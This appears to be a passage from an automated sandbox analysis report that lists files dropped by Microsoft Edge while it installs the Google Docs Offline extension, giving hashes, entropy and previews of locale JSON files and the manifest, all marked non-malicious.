Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
